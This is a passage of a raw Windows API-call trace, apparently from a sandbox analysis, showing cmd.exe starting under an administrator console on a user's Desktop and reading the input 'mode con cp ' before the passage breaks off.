_String2="HIGHESTNUMANODENUMBER") returned 8 [0105.671] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0105.671] GetProcessHeap () returned 0x1723e9c0000 [0105.671] RtlFreeHeap (HeapHandle=0x1723e9c0000, Flags=0x0, BaseAddress=0x1723e9c64a0) returned 1 [0105.671] GetEnvironmentStringsW () returned 0x1723e9c5a10* [0105.671] GetProcessHeap () returned 0x1723e9c0000 [0105.671] RtlAllocateHeap (HeapHandle=0x1723e9c0000, Flags=0x8, Size=0xa94) returned 0x1723e9c7a10 [0105.671] FreeEnvironmentStringsA (penv="A") returned 1 [0105.671] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff6028ebb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0105.672] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff6028ebb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0105.672] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0105.672] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0105.672] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0105.672] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0105.672] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0105.672] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0105.672] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0105.672] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0105.672] malloc (_Size=0xffce) returned 0x1723eae0040 [0105.672] ??_V@YAXPEAX@Z () returned 0x1723eae0040 [0105.673] GetProcessHeap () returned 0x1723e9c0000 [0105.673] RtlAllocateHeap (HeapHandle=0x1723e9c0000, Flags=0x8, Size=0x40) returned 0x1723e9c84b0 [0105.673] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1723eae0040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0105.673] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x1723eae0040, lpFilePart=0x10a4eff560 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x10a4eff560*="Desktop") returned 0x17 [0105.674] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0105.674] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x10a4eff290 | out: lpFindFileData=0x10a4eff290*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x1723e9c8500 [0105.674] FindClose (in: hFindFile=0x1723e9c8500 | out: hFindFile=0x1723e9c8500) returned 1 [0105.675] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x10a4eff290 | out: lpFindFileData=0x10a4eff290*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x1723e9c8500 [0105.675] FindClose (in: hFindFile=0x1723e9c8500 | out: hFindFile=0x1723e9c8500) returned 1 [0105.675] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x10a4eff290 | out: lpFindFileData=0x10a4eff290*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7ecd3347, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0x7ecd3347, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x1723e9c8500 [0105.675] FindClose (in: hFindFile=0x1723e9c8500 | out: hFindFile=0x1723e9c8500) returned 1 [0105.676] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0105.676] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0105.676] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0105.676] GetProcessHeap () returned 0x1723e9c0000 [0105.676] RtlFreeHeap (HeapHandle=0x1723e9c0000, Flags=0x0, BaseAddress=0x1723e9c7a10) returned 1 [0105.676] GetEnvironmentStringsW () returned 0x1723e9c0fc0* [0105.676] GetProcessHeap () returned 0x1723e9c0000 [0105.676] RtlAllocateHeap (HeapHandle=0x1723e9c0000, Flags=0x8, Size=0xacc) returned 0x1723e9c8500 [0105.676] FreeEnvironmentStringsA (penv="=") returned 1 [0105.676] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1723eac0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0105.676] GetProcessHeap () returned 0x1723e9c0000 [0105.676] RtlFreeHeap (HeapHandle=0x1723e9c0000, Flags=0x0, BaseAddress=0x1723e9c84b0) returned 1 [0105.676] ??_V@YAXPEAX@Z () returned 0x1 [0105.676] ??_V@YAXPEAX@Z () returned 0x1 [0105.676] GetProcessHeap () returned 0x1723e9c0000 [0105.676] RtlAllocateHeap (HeapHandle=0x1723e9c0000, Flags=0x8, Size=0x4016) returned 0x1723e9c8fe0 [0105.677] GetProcessHeap () returned 0x1723e9c0000 [0105.677] RtlFreeHeap (HeapHandle=0x1723e9c0000, Flags=0x0, BaseAddress=0x1723e9c8fe0) returned 1 [0105.677] GetConsoleOutputCP () returned 0x1b5 [0106.067] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6028efbb0 | out: lpCPInfo=0x7ff6028efbb0) returned 1 [0106.067] GetUserDefaultLCID () returned 0x409 [0106.069] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff6028ebb78, cchData=8 | out: lpLCData=":") returned 2 [0106.069] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x10a4eff920, cchData=128 | out: lpLCData="0") returned 2 [0106.069] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x10a4eff920, cchData=128 | out: lpLCData="0") returned 2 [0106.069] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x10a4eff920, cchData=128 | out: lpLCData="1") returned 2 [0106.069] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff6028ebb68, cchData=8 | out: lpLCData="/") returned 2 [0106.069] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff6028ebb00, cchData=32 | out: lpLCData="Mon") returned 4 [0106.069] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff6028ebac0, cchData=32 | out: lpLCData="Tue") returned 4 [0106.069] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff6028eba80, cchData=32 | out: lpLCData="Wed") returned 4 [0106.069] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff6028eba40, cchData=32 | out: lpLCData="Thu") returned 4 [0106.069] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff6028eba00, cchData=32 | out: lpLCData="Fri") returned 4 [0106.069] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff6028eb9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0106.069] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff6028eb980, cchData=32 | out: lpLCData="Sun") returned 4 [0106.069] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff6028ebb58, cchData=8 | out: lpLCData=".") returned 2 [0106.069] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff6028ebb40, cchData=8 | out: lpLCData=",") returned 2 [0106.070] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0106.073] GetProcessHeap () returned 0x1723e9c0000 [0106.073] RtlAllocateHeap (HeapHandle=0x1723e9c0000, Flags=0x0, Size=0x20c) returned 0x1723e9c6560 [0106.073] GetConsoleTitleW (in: lpConsoleTitle=0x1723e9c6560, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0107.053] _get_osfhandle (_FileHandle=1) returned 0x254 [0107.053] GetFileType (hFile=0x254) returned 0x3 [0107.381] ApiSetQueryApiSetPresence () returned 0x0 [0107.381] ResolveDelayLoadedAPI () returned 0x7ffcddefd990 [0107.975] BrandingFormatString () returned 0x1723e9c6a50 [0107.982] GetVersion () returned 0x3ad7000a [0107.982] _vsnwprintf (in: _Buffer=0x10a4effa80, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x10a4effa18 | out: _Buffer="10.0.15063") returned 10 [0107.982] _get_osfhandle (_FileHandle=1) returned 0x254 [0107.982] GetFileType (hFile=0x254) returned 0x3 [0107.982] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff6028f7f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0107.983] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff6028f7f60, nSize=0x2000, Arguments=0x10a4effa20 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0107.983] _get_osfhandle (_FileHandle=1) returned 0x254 [0107.983] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0107.983] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6028e9970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x10a4eff978, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesWritten=0x10a4eff978*=0x26, lpOverlapped=0x0) returned 1 [0107.983] _vsnwprintf (in: _Buffer=0x7ff6028f7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x10a4effa48 | out: _Buffer="\r\n") returned 2 [0107.983] _get_osfhandle (_FileHandle=1) returned 0x254 [0107.983] GetFileType (hFile=0x254) returned 0x3 [0107.983] _get_osfhandle (_FileHandle=1) returned 0x254 [0107.983] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0107.983] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6028e9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10a4effa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesWritten=0x10a4effa18*=0x2, lpOverlapped=0x0) returned 1 [0107.983] _vsnwprintf (in: _Buffer=0x7ff6028f7f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0x10a4effa48 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0107.983] _get_osfhandle (_FileHandle=1) returned 0x254 [0107.983] GetFileType (hFile=0x254) returned 0x3 [0107.983] _get_osfhandle (_FileHandle=1) returned 0x254 [0107.983] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0107.983] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6028e9970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x10a4effa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesWritten=0x10a4effa18*=0x34, lpOverlapped=0x0) returned 1 [0107.984] _vsnwprintf (in: _Buffer=0x7ff6028f7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x10a4effa48 | out: _Buffer="\r\n") returned 2 [0107.984] _get_osfhandle (_FileHandle=1) returned 0x254 [0107.984] GetFileType (hFile=0x254) returned 0x3 [0107.984] _get_osfhandle (_FileHandle=1) returned 0x254 [0107.984] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0107.984] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6028e9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10a4effa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesWritten=0x10a4effa18*=0x2, lpOverlapped=0x0) returned 1 [0107.984] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffce9120000 [0107.984] GetProcAddress (hModule=0x7ffce9120000, lpProcName="CopyFileExW") returned 0x7ffce913e830 [0107.984] GetProcAddress (hModule=0x7ffce9120000, lpProcName="IsDebuggerPresent") returned 0x7ffce913e300 [0107.984] GetProcAddress (hModule=0x7ffce9120000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffce6900a40 [0107.984] ??_V@YAXPEAX@Z () returned 0x1 [0107.985] _get_osfhandle (_FileHandle=0) returned 0x248 [0107.985] GetFileType (hFile=0x248) returned 0x3 [0107.985] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0107.985] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x10a4eff888 | out: TokenHandle=0x10a4eff888*=0x0) returned 0xc000007c [0107.985] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x10a4eff888 | out: TokenHandle=0x10a4eff888*=0x98) returned 0x0 [0107.985] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x12, TokenInformation=0x10a4eff838, TokenInformationLength=0x4, ReturnLength=0x10a4eff840 | out: TokenInformation=0x10a4eff838, ReturnLength=0x10a4eff840) returned 0x0 [0107.985] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x1a, TokenInformation=0x10a4eff840, TokenInformationLength=0x4, ReturnLength=0x10a4eff838 | out: TokenInformation=0x10a4eff840, ReturnLength=0x10a4eff838) returned 0x0 [0107.985] NtClose (Handle=0x98) returned 0x0 [0107.985] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x10a4eff850, nSize=0x0, Arguments=0x10a4eff858 | out: lpBuffer="᧰㺜Ų") returned 0xf [0107.987] GetProcessHeap () returned 0x1723e9c0000 [0107.987] RtlAllocateHeap (HeapHandle=0x1723e9c0000, Flags=0x8, Size=0x218) returned 0x1723e9c6c30 [0107.988] GetConsoleTitleW (in: lpConsoleTitle=0x10a4eff8a0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0108.535] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0108.535] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0109.773] GetProcessHeap () returned 0x1723e9c0000 [0109.773] RtlFreeHeap (HeapHandle=0x1723e9c0000, Flags=0x0, BaseAddress=0x1723e9c6c30) returned 1 [0109.773] LocalFree (hMem=0x1723e9c19f0) returned 0x0 [0109.775] _vsnwprintf (in: _Buffer=0x7ff6028f7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x10a4eff6c8 | out: _Buffer="\r\n") returned 2 [0109.775] _get_osfhandle (_FileHandle=1) returned 0x254 [0109.775] GetFileType (hFile=0x254) returned 0x3 [0109.775] _get_osfhandle (_FileHandle=1) returned 0x254 [0109.775] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0109.775] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6028e9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10a4eff698, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesWritten=0x10a4eff698*=0x2, lpOverlapped=0x0) returned 1 [0109.776] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6028ebb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0109.776] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1723eac0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0109.776] malloc (_Size=0x107ce) returned 0x1723ead0060 [0109.776] _vsnwprintf (in: _Buffer=0x1723ead0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x10a4eff6d8 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23 [0109.777] _vsnwprintf (in: _Buffer=0x1723ead008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0x10a4eff6d8 | out: _Buffer=">") returned 1 [0109.777] _get_osfhandle (_FileHandle=1) returned 0x254 [0109.777] GetFileType (hFile=0x254) returned 0x3 [0109.777] _get_osfhandle (_FileHandle=1) returned 0x254 [0109.777] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25 [0109.777] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6028e9970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x10a4eff6c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesWritten=0x10a4eff6c8*=0x18, lpOverlapped=0x0) returned 1 [0109.777] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.777] GetFileType (hFile=0x248) returned 0x3 [0109.777] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.777] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.777] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6028e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x10a4effa28, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesRead=0x10a4effa28*=0x1, lpOverlapped=0x0) returned 1 [0109.778] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=1, lpWideCharStr=0x7ff6028f3c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0109.778] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.778] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.778] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6028e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x10a4effa28, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesRead=0x10a4effa28*=0x1, lpOverlapped=0x0) returned 1 [0109.778] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=1, lpWideCharStr=0x7ff6028f3c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0109.778] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.778] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.778] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6028e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x10a4effa28, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesRead=0x10a4effa28*=0x1, lpOverlapped=0x0) returned 1 [0109.778] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=1, lpWideCharStr=0x7ff6028f3c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0109.778] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.778] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.778] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6028e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x10a4effa28, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesRead=0x10a4effa28*=0x1, lpOverlapped=0x0) returned 1 [0109.778] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=1, lpWideCharStr=0x7ff6028f3c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0109.778] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.778] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.778] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6028e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x10a4effa28, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesRead=0x10a4effa28*=0x1, lpOverlapped=0x0) returned 1 [0109.779] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=1, lpWideCharStr=0x7ff6028f3c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0109.779] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.779] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.779] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6028e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x10a4effa28, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesRead=0x10a4effa28*=0x1, lpOverlapped=0x0) returned 1 [0109.779] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=1, lpWideCharStr=0x7ff6028f3c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0109.779] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.779] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.779] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6028e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x10a4effa28, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesRead=0x10a4effa28*=0x1, lpOverlapped=0x0) returned 1 [0109.779] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=1, lpWideCharStr=0x7ff6028f3c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0109.779] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.779] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.779] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6028e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x10a4effa28, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesRead=0x10a4effa28*=0x1, lpOverlapped=0x0) returned 1 [0109.779] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=1, lpWideCharStr=0x7ff6028f3c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0109.779] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.779] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.779] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6028e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x10a4effa28, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesRead=0x10a4effa28*=0x1, lpOverlapped=0x0) returned 1 [0109.779] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=1, lpWideCharStr=0x7ff6028f3c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0109.779] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.779] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.780] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6028e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x10a4effa28, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesRead=0x10a4effa28*=0x1, lpOverlapped=0x0) returned 1 [0109.780] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=1, lpWideCharStr=0x7ff6028f3c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0109.780] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.780] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.780] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6028e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x10a4effa28, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesRead=0x10a4effa28*=0x1, lpOverlapped=0x0) returned 1 [0109.780] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=1, lpWideCharStr=0x7ff6028f3c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0109.780] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.780] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.780] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6028e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x10a4effa28, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesRead=0x10a4effa28*=0x1, lpOverlapped=0x0) returned 1 [0109.780] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=1, lpWideCharStr=0x7ff6028f3c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0109.780] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.780] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: 